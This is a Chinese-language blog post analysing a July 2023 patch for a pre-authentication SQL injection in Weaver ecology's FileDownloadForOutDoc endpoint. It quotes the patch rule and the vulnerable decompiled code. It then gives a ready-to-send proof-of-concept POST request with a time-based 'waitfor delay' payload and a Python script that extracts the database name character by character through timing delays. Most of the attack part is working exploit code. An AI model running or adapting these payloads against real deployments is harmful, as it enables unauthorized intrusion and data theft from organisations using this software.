泛微ecology FileDownloadForOutDoc-前台sql注入

发布时间 2023-07-17 15:08:30作者: uein

厂商发布漏洞补丁

Ecology_security_20230707_v9.0_v10.58.0.zip

https://www.weaver.com.cn/cs/package/Ecology_security_20230707_v9.0_v10.58.0.zip?v=2023070700

分析补丁文件

ecology\WEB-INF\myclasses\weaver\security\rules\ruleImp\SecurityRuleForOutDocForSql.class

if (path.indexOf("weaver") != -1 && path.indexOf("file") != -1 && path.indexOf("filedownloadforoutdoc") != -1) {
                String fileidStr = req.getParameter("fileid");
                String isFromOutImg = Util.null2String(req.getParameter("isFromOutImg"));
                if ("1".equals(isFromOutImg) && !"".equals(fileidStr) && sc.getIntValue(fileidStr) < 0) {
                    sc.writeLog(">>>>Xss(Validate failed[Perssion reject]) validateClass=weaver.security.rules.SecurityRuleForOutDocForSql  path=" + req.getRequestURI() + " fileid = " + req.getParameter("fileid") + "  fileiddes = " + fileidStr + " security validate failed!  source ip:" + ThreadVarManager.getIp());
                    return false;
                }
            }

如果路径上包含了"weaver"、"file"和"filedownloadforoutdoc"

获取fileidisFromOutImg的值

检查如果参数isFromOutImg的值等于"1",fileidStr的值不为空,且将fileidStr转换为整数后的值小于0:

​ 则在日志中记录一条消息,指示验证失败,并提供一些相关信息,如请求的路径、fileid的值以及一些其他相关信息。

​ 返回false

FileDownloadForOutDoc.class

通过补丁文件找到对应文件WEAVER\ecology\classbean\weaver\file\FileDownloadForOutDoc.class

String var3 = var1.getParameter("fileid");

        try {
            String var4 = Util.null2String(var1.getParameter("isFromOutImg"));
            //检查isFromOutImg的值等于1
            if ("1".equals(var4)) {
                RecordSet var5 = new RecordSet();
                //直接将fileid拼接到sql语句中
                var5.executeQuery("select COMEFROM from imagefile where imagefileid=" + var3, new Object[0]);
                if (var5.next()) {
                    String var6 = Util.null2String(var5.getString(1));
                    if (!"DocPreviewHtmlImage".equals(var6)) {
                        return;
                    }
                }
            } 

可以看到当isFromOutImg的值为1的时候,会执行sql语句select COMEFROM from imagefile where imagefileid=fileid,fileid参数未过滤导致sql注入

POC

POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

fileid=2 waitfor delay '0:0:3'&isFromOutImg=1

简单写个python脚本跑个库名

import requests,urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "url"
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0",
			 "Content-Type": "application/x-www-form-urlencoded"}
result_str = ""
num=0
for i in range(1, 30):
    payload1="fileid=2+if ((select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=%d"%i+")=1) waitfor delay '0:0:3'&isFromOutImg=1"
    time.sleep(0.15)
    time1 = time.time()
    res = requests.post(url, data=payload1,headers=headers,verify=False)
    time2 = time.time()
    if time2 - time1 > 3:
        num=i
        print("库名长度:"+str(num))
        break

for i in range(1, num+1):
    time.sleep(1.0)
    for j in range(32, 127):
        payload="fileid=2+if+(ascii(substring((select+top+1+name+from+master.dbo.sysdatabases+where+dbid=5),%d,1))+="%i + hex(j) +")+WAITFOR+DELAY+'0:0:4'&isFromOutImg=1"
        time.sleep(0.15)
        time1 = time.time()
        res = requests.post(url, data=payload,headers=headers,verify=False)
        time2 = time.time()
        if time2 - time1 > 3:
            result_str += chr(j)
            print(result_str)
            break